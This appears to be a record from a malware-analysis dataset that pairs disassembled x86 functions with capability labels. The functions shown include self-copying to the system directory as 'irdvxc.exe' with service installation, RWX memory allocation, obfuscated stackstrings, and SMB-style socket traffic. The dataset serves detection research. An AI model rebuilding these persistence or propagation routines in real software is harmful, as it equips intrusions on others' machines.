joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407ef0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
push edi
push esi
push ebx
xor ebx, ebx
push 0x1f4
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x2bc]
push eax
push str.patch:
call section..text
cmp eax, 1
jne 0x407f2b
lea eax, [ebp - 0x2bc]
push eax
call sub.kernel32.dll_DeleteFileA
inc ebx
mov eax, ebx
pop ebx
pop esi
pop edi
leave
ret

Function at 0x407f40
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x407fa9
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov ebx, eax
push ebx
call sub.ole32.dll_CoTaskMemAlloc
or eax, eax
je 0x407fa9
mov edi, eax
or eax, eax
je 0x407fa9
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push ebx
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov ecx, dword [ebp + 0x10]
mov dword [ecx], ebx
xor eax, eax
leave
ret 0xc
mov eax, 0xffffffff
leave
ret 0xc

Function at 0x408060
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff95c
push edi
push esi
push ebx
push 0x12c
lea eax, [ebp - 0x384]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea edx, [ebp - 0x384]
dec eax
cmp byte [eax + edx - 4], 0x5c
jne 0x40814c
push 0x258
lea eax, [ebp - 0x258]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea edx, [ebp - 0x258]
cmp byte [eax + edx - 1], 0x5c
je 0x4080b5
mov word [eax + edx], 0x5c
push str.irdvxc.exe
lea eax, [ebp - 0x258]
push eax
call sub.kernel32.dll_lstrcatA
push 0
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x384]
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x514]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x6a4]
push eax
call sub.kernel32.dll_lstrcpyA
push str._installservice
lea eax, [ebp - 0x514]
push eax
call sub.kernel32.dll_lstrcatA
push str._start
lea eax, [ebp - 0x6a4]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x514]
push eax
call fcn.00408160
push 0x7d0
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x6a4]
push eax
call fcn.00408160
push 0
call sub.kernel32.dll_ExitProcess
pop ebx
pop esi
pop edi
leave
ret

Function at 0x408160
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
push esi
push ebx
xor eax, eax
lea edi, [ebp - 0x54]
mov ecx, 0x44
rep stosb byte es:[edi], al
mov dword [ebp - 0x54], 0x44
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push dword [ebp + 8]
push edx
call sub.kernel32.dll_CreateProcessA
mov edi, eax
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
mov edi, eax
pop ebx
pop esi
pop edi
leave
ret 4
Function at 0x40856c
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push 0x2061
push 0
call sub.kernel32.dll_VirtualAlloc
mov word [eax], 0x8000
mov dword [eax + 0x4d], 0x10
ret
Function at 0x409144
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov dword [edx], 0x67452301
mov eax, dword [ebp - 4]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp - 4]
mov dword [edx + 0xc], 0x10325476
mov esp, ebp
pop ebp
ret
Function at 0x40be5c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], ecx
mov byte [ebp - 0x20], 0xfe
mov byte [ebp - 0x1f], 0xdc
mov byte [ebp - 0x1e], 0xba
mov byte [ebp - 0x1d], 0x98
mov byte [ebp - 0x1c], 0x76
mov byte [ebp - 0x1b], 0x54
mov byte [ebp - 0x1a], 0x32
mov byte [ebp - 0x19], 0x10
mov byte [ebp - 0x18], 0xa3
mov byte [ebp - 0x17], 0x9d
mov byte [ebp - 0x16], 0x4a
mov byte [ebp - 0x15], 0x18
mov byte [ebp - 0x14], 0xf8
mov byte [ebp - 0x13], 0x5b
mov byte [ebp - 0x12], 0x4a
mov byte [ebp - 0x11], 0x52
mov byte [ebp - 0x10], 0xfe
mov byte [ebp - 0xf], 0xdc
mov byte [ebp - 0xe], 0xba
mov byte [ebp - 0xd], 0x98
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x54
mov byte [ebp - 0xa], 0x32
mov byte [ebp - 9], 0x10
mov byte [ebp - 8], 0xa3
mov byte [ebp - 7], 0x3d
mov byte [ebp - 6], 0x4a
mov byte [ebp - 5], 0x18
mov byte [ebp - 4], 0xf8
mov byte [ebp - 3], 0x5b
mov byte [ebp - 2], 0x4a
mov byte [ebp - 1], 0x52
push 0
mov dl, 2
lea ecx, [ebp - 0x48]
call fcn.0040bf2c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x33], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2f], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x2b], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x27], eax
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp + 0xc]
shl edx, 3
push edx
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x48]
call fcn.0040bfaf
mov esp, ebp
pop ebp
ret 8
Function at 0x40d380
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
and eax, 0xff
cmp eax, 1
je 0x40d3aa
mov eax, 0xfffffff7
jmp 0x40d4d5
mov dword [ebp - 0xc], 0xffffffff
mov ecx, dword [ebp - 0xc]
shr ecx, 0x11
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x7fff
je 0x40d3cd
mov eax, 0xfffffff5
jmp 0x40d4d5
mov dword [ebp - 0x10], 0
jmp 0x40d3df
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
shl eax, 5
cmp eax, dword [ebp - 0x14]
jge 0x40d3f9
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov dword [edx + ecx*4], 0
jmp 0x40d3d6
mov dword [ebp - 0x10], 0
jmp 0x40d40b
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
shl ecx, 2
cmp ecx, dword [ebp - 0x14]
jge 0x40d4d3
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ebp - 8], al
cmp dword [ebp + 0xc], 0
je 0x40d436
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x10]
mov dl, byte [ebp - 8]
mov byte [ecx], dl
movsx eax, byte [ebp - 8]
cmp eax, 0x30
jl 0x40d454
movsx ecx, byte [ebp - 8]
cmp ecx, 0x39
jg 0x40d454
movsx edx, byte [ebp - 8]
sub edx, 0x30
mov dword [ebp - 4], edx
jmp 0x40d497
movsx eax, byte [ebp - 8]
cmp eax, 0x61
jl 0x40d472
movsx ecx, byte [ebp - 8]
cmp ecx, 0x66
jg 0x40d472
movsx edx, byte [ebp - 8]
sub edx, 0x57
mov dword [ebp - 4], edx
jmp 0x40d497
movsx eax, byte [ebp - 8]
cmp eax, 0x41
jl 0x40d490
movsx ecx, byte [ebp - 8]
cmp ecx, 0x46
jg 0x40d490
movsx edx, byte [ebp - 8]
sub edx, 0x37
mov dword [ebp - 4], edx
jmp 0x40d497
mov eax, 0xfffffffe
jmp 0x40d4d5
mov eax, dword [ebp - 0x10]
cdq
and edx, 7
add eax, edx
sar eax, 3
mov ecx, dword [ebp - 0x10]
xor ecx, 1
and ecx, 7
shl ecx, 2
mov edx, dword [ebp - 4]
shl edx, cl
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + eax*4]
or ecx, edx
mov eax, dword [ebp - 0x10]
cdq
and edx, 7
add eax, edx
sar eax, 3
mov edx, dword [ebp + 8]
mov dword [edx + eax*4], ecx
jmp 0x40d402
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x40df44
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x40df96
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
push esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x40df9d
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
xor eax, eax
lea edi, [ebp - 0x54]
mov ecx, 0x44
rep stosb byte es:[edi], al
mov dword [ebp - 0x54], 0x44
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push dword [ebp + 8]
push edx
call sub.kernel32.dll_CreateProcessA
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
pop edi
leave
ret 4

Function at 0x40dfe5
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
mov ebx, 0xffffffff
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40e062
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
push 0x40
push 0x1000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x40e062
mov edi, eax
or eax, eax
je 0x40e062
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 8]
mov dword [ecx], eax
inc ebx
mov eax, ebx
pop ebx
pop esi
pop edi
leave
ret 0xc

Function at 0x40e180
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff6f8
push edi
push esi
push ebx
lea eax, [ebp - 0x900]
push eax
call fcn.0040ebb0
lea eax, [ebp - 0x900]
mov eax, dword [eax]
xor edx, edx
mov ecx, 0x7f
div ecx
shr edx, 1
shl edx, 1
movzx edx, dl
add dl, 0x80
add edx, 3
and dl, 0xfc
add edx, 8
mov dword [ebp - 0x904], edx
lea eax, [ebp - 0x900]
mov eax, dword [eax + 0x3c]
xor edx, edx
mov ecx, 0xc000
div ecx
mov dword [ebp - 0x908], edx
mov ecx, dword [ebp + 0x18]
add dword [ebp - 0x908], ecx
push 0x40
push 0x1000
push 0x8000
push 0
call sub.kernel32.dll_VirtualAlloc
mov edi, eax
mov eax, dword [ebp - 0x904]
cmp al, 4
je 0x40e206
cmp al, 0xfc
jne 0x40e20d
add dword [ebp - 0x904], 0x14
push dword [ebp - 0x904]
push dword [ebp - 0x908]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040e5f0
mov esi, eax
push 0x40
push 0x1000
push 0x8000
push 0
call sub.kernel32.dll_VirtualAlloc
mov ebx, eax
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x904]
cmp al, 4
je 0x40e24f
cmp al, 0xfc
jne 0x40e256
add dword [ebp - 0x904], 0x14
add dword [ebp - 0x908], 0x3000
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x904]
push dword [ebp - 0x908]
push ebx
push esi
push edi
call fcn.0040e293
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
push 0x8000
push 0
push edi
call sub.kernel32.dll_VirtualFree
pop ebx
pop esi
pop edi
leave
ret 0x1c
Function at 0x40ebb0
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push esi
push ebx
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
push dword [ebp + 8]
push 0x3ff
push dword [ebp - 4]
call sub.advapi32.dll_CryptGenRandom
push 0
push dword [ebp - 4]
call sub.advapi32.dll_CryptReleaseContext
pop ebx
pop esi
pop edi
leave
ret 4

Function at 0x40ef90
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push edi
push esi
push ebx
push dword [ebp + 8]
pop dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xffffffff
mov ebx, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 8], 6
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x40f0d9
cmp eax, 0xffffffff
je 0x40f0d9
push 0
push ebx
push esi
push dword [ebp - 0x14]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
je 0x40f0d5
mov dword [ebp - 8], 6
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
call sub.ws2_32.dll_select
cmp eax, 1
jne 0x40f0d1
push dword [ebp + 0x18]
push 0
push dword [ebp + 0x14]
call fcn.0040d7a0
push 0
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp - 0x14]
call sub.ws2_32.dll_recv
cmp eax, 0xffffffff
je 0x40f0cd
or eax, eax
je 0x40f0cd
mov esi, eax
mov edi, dword [ebp + 0x14]
cmp dword [edi + 4], 0x424d53ff
jne 0x40f0bf
mov ebx, dword [edi]
push ebx
call sub.ws2_32.dll_htonl
mov ebx, eax
add ebx, 4
mov dword [ebp - 0x18], ebx
sub ebx, esi
add edi, esi
jmp 0x40f0b9
mov dword [ebp - 8], 6
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
push 0
push ebx
push edi
push dword [ebp - 0x14]
call sub.ws2_32.dll_recv
mov esi, eax
cmp eax, 0xffffffff
je 0x40f0b3
or eax, eax
jne 0x40f0b5
jmp 0x40f0db
add edi, eax
sub ebx, eax
or ebx, ebx
jne 0x40f081
jmp 0x40f0db
push 0x45724474
call sub.kernel32.dll_SetLastError
jmp 0x40f0db
jmp 0x40f0e5
jmp 0x40f0e5
jmp 0x40f0e5
jmp 0x40f0e5
mov eax, dword [ebp - 0x18]
pop ebx
pop esi
pop edi
leave
ret 0x14
call sub.ws2_32.dll_WSAGetLastError
push eax
call sub.kernel32.dll_SetLastError
jmp 0x40f0db
Function at 0x410840
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
mov ebx, 0xffffffff
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x4108bc
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
add eax, 0x3e8
push 4
push 0x3000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x4108b4
mov edi, eax
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 8]
mov dword [ecx], eax
inc ebx
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, ebx
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x4114a8
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff38
mov eax, dword [ebp + 0x10]
shl eax, 3
mov dword [ebp - 4], eax
mov dword [0x41ae18], 0x67452301
mov dword [0x41ae1c], 0xefcdab89
mov dword [0x41ae20], 0x98badcfe
mov dword [0x41ae24], 0x10325476
cmp dword [ebp + 0x10], 0x40
jle 0x411515
push dword [ebp + 0xc]
lea edx, [ebp - 0xc8]
push edx
call fcn.004116b5
add esp, 8
lea ecx, [ebp - 0xc8]
push ecx
call fcn.0041170e
pop ecx
add dword [ebp + 0xc], 0x40
sub dword [ebp + 0x10], 0x40
cmp dword [ebp + 0x10], 0x40
jg 0x4114e8
xor eax, eax
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov byte [edx + ebp - 0x88], 0
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x80
jl 0x41151a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
lea eax, [ebp - 0x88]
push eax
call fcn.0040d76f
mov eax, dword [ebp + 0x10]
mov byte [eax + ebp - 0x88], 0x80
cmp dword [ebp + 0x10], 0x37
jg 0x411588
push dword [ebp - 4]
lea edx, [ebp - 0x50]
push edx
call fcn.0041167a
add esp, 8
lea ecx, [ebp - 0x88]
push ecx
lea eax, [ebp - 0xc8]
push eax
call fcn.004116b5
add esp, 8
lea edx, [ebp - 0xc8]
push edx
call fcn.0041170e
pop ecx
jmp 0x4115da
push dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
call fcn.0041167a
add esp, 8
lea eax, [ebp - 0x88]
push eax
lea edx, [ebp - 0xc8]
push edx
call fcn.004116b5
add esp, 8
lea ecx, [ebp - 0xc8]
push ecx
call fcn.0041170e
pop ecx
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0xc8]
push edx
call fcn.004116b5
add esp, 8
lea ecx, [ebp - 0xc8]
push ecx
call fcn.0041170e
pop ecx
xor eax, eax
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov byte [edx + ebp - 0x88], 0
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x80
jl 0x4115df
lea ecx, [ebp - 0x88]
push ecx
lea eax, [ebp - 0xc8]
push eax
call fcn.004116b5
add esp, 8
push dword [0x41ae18]
push dword [ebp + 8]
call fcn.0041167a
add esp, 8
push dword [0x41ae1c]
mov edx, dword [ebp + 8]
add edx, 4
push edx
call fcn.0041167a
add esp, 8
push dword [0x41ae20]
mov ecx, dword [ebp + 8]
add ecx, 8
push ecx
call fcn.0041167a
add esp, 8
push dword [0x41ae24]
mov eax, dword [ebp + 8]
add eax, 0xc
push eax
call fcn.0041167a
add esp, 8
xor edx, edx
mov dword [0x41ae24], edx
mov dword [0x41ae20], edx
mov dword [0x41ae1c], edx
mov dword [0x41ae18], edx
mov esp, ebp
pop ebp
ret

Function at 0x412241
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0x14]
jge 0x412278
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
mov dl, byte [eax + ecx]
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 4]
xor dl, byte [eax + ecx]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov byte [ecx + eax], dl
inc dword [ebp - 4]
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0x14]
jl 0x412252
pop ecx
pop ebp
ret
Function at 0x402ee0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx]
cmp eax, 0x47f210
je 0x402f14
cmp eax, 0x483488
je 0x402f14
cmp eax, 0x47f2e4
je 0x402f14
cmp eax, 0x47f320
je 0x402f14
cmp eax, 0x47f35c
je 0x402f14
mov dword [ebp + 0xc], ecx
pop ebp
jmp fcn.00403290
mov dword [ebp + 0xc], ecx
pop ebp
jmp fcn.00404000
Function at 0x405e30
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x48f600]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
mov edi, dword [ebp + 0xc]
nop dword [eax + eax]
mov cl, byte [edx + esi]
lea eax, [ecx - 0x41]
cmp al, 0x19
ja 0x405e62
movsx eax, cl
sub eax, 0x41
jmp 0x405ea4
lea eax, [ecx - 0x61]
cmp al, 0x19
ja 0x405e71
movsx eax, cl
sub eax, 0x47
jmp 0x405ea4
lea eax, [ecx - 0x30]
cmp al, 9
ja 0x405e80
movsx eax, cl
add eax, 4
jmp 0x405ea4
cmp cl, 0x2b
jne 0x405e8c
mov eax, 0x3e
jmp 0x405ea4
cmp cl, 0x2f
jne 0x405e98
mov eax, 0x3f
jmp 0x405ea4
cmp cl, 0x3d
jne 0x405f21
or eax, 0xffffffff
mov dword [ebp + edx*4 - 0x14], eax
inc edx
cmp edx, 4
jl 0x405e50
mov edx, dword [ebp - 0x14]
cmp edx, 0xffffffff
je 0x405f21
mov esi, dword [ebp - 0x10]
cmp esi, 0xffffffff
je 0x405f21
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp ecx, 0xffffffff
jne 0x405ed2
cmp eax, ecx
jne 0x405f21
lea ebx, [ecx + 2]
jmp 0x405edd
xor ebx, ebx
cmp eax, 0xffffffff
setne bl
add ebx, 2
shl edx, 6
and ecx, 0x3f
or edx, esi
and eax, 0x3f
shl edx, 6
or edx, ecx
shl edx, 6
or edx, eax
mov eax, edx
shr eax, 0x10
mov byte [edi], al
cmp ebx, 1
jbe 0x405f06
mov ecx, edx
shr ecx, 8
mov byte [edi + 1], cl
cmp ebx, 2
jbe 0x405f0e
mov byte [edi + 2], dl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00427f9e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00427f9e
mov esp, ebp
pop ebp
ret

Function at 0x406c60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
test esi, esi
je 0x406c95
push ebx
mov ebx, dword [ebp + 0xc]
sub ebx, eax
nop word [eax + eax]
movzx edx, byte [ebx + eax]
lea eax, [eax + 1]
movzx ecx, byte [eax - 1]
xor edx, ecx
or edi, edx
sub esi, 1
jne 0x406c80
pop ebx
mov eax, 0x100
sub eax, edi
pop edi
shr eax, 8
pop esi
pop ebp
ret
Function at 0x407380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x48f600]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x40], edi
movups xmm0, xmmword [edi + 0x3c8]
movups xmmword [ebp - 0x34], xmm0
test ebx, ebx
jle 0x4074e5
dec ebx
add edx, 3
shr ebx, 4
inc ebx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], ebx
push esi
movzx ecx, byte [edx - 3]
lea esi, [edx - 1]
movzx eax, byte [edx - 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 2]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], ecx
movzx ecx, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 6]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], ecx
movzx ecx, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 7]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 8]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0xa]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0xc], ecx
movzx ecx, byte [edx + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0xb]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0xc]
shl ecx, 8
or ecx, eax
lea eax, [ebp - 0x14]
push eax
push edi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 8], ecx
call fcn.00407360
add esp, 8
xor edi, edi
mov edx, dword [ebp + edi - 0x34]
lea esi, [esi + 4]
mov ebx, dword [ebp + edi - 0x14]
mov ecx, edx
shr ecx, 0x18
mov eax, ebx
shr eax, 0x18
xor cl, al
mov eax, ebx
mov byte [esi - 6], cl
mov ecx, edx
shr ecx, 0x10
shr eax, 0x10
xor cl, al
mov eax, ebx
mov byte [esi - 5], cl
mov ecx, edx
shr eax, 8
xor dl, bl
shr ecx, 8
xor cl, al
mov byte [esi - 3], dl
mov eax, dword [ebp + edi - 0x24]
mov dword [ebp + edi - 0x34], eax
add edi, 4
mov byte [esi - 4], cl
cmp edi, 0x10
jl 0x407464
mov edx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x40]
add edx, 0x10
sub dword [ebp - 0x3c], 1
mov dword [ebp - 0x38], edx
jne 0x4073c0
movups xmm0, xmmword [ebp - 0x34]
mov eax, edi
pop esi
pop edi
pop ebx
movups xmmword [eax + 0x3c8], xmm0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00427f9e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
movups xmmword [edi + 0x3c8], xmm0
pop edi
xor ecx, ebp
pop ebx
call fcn.00427f9e
mov esp, ebp
pop ebp
ret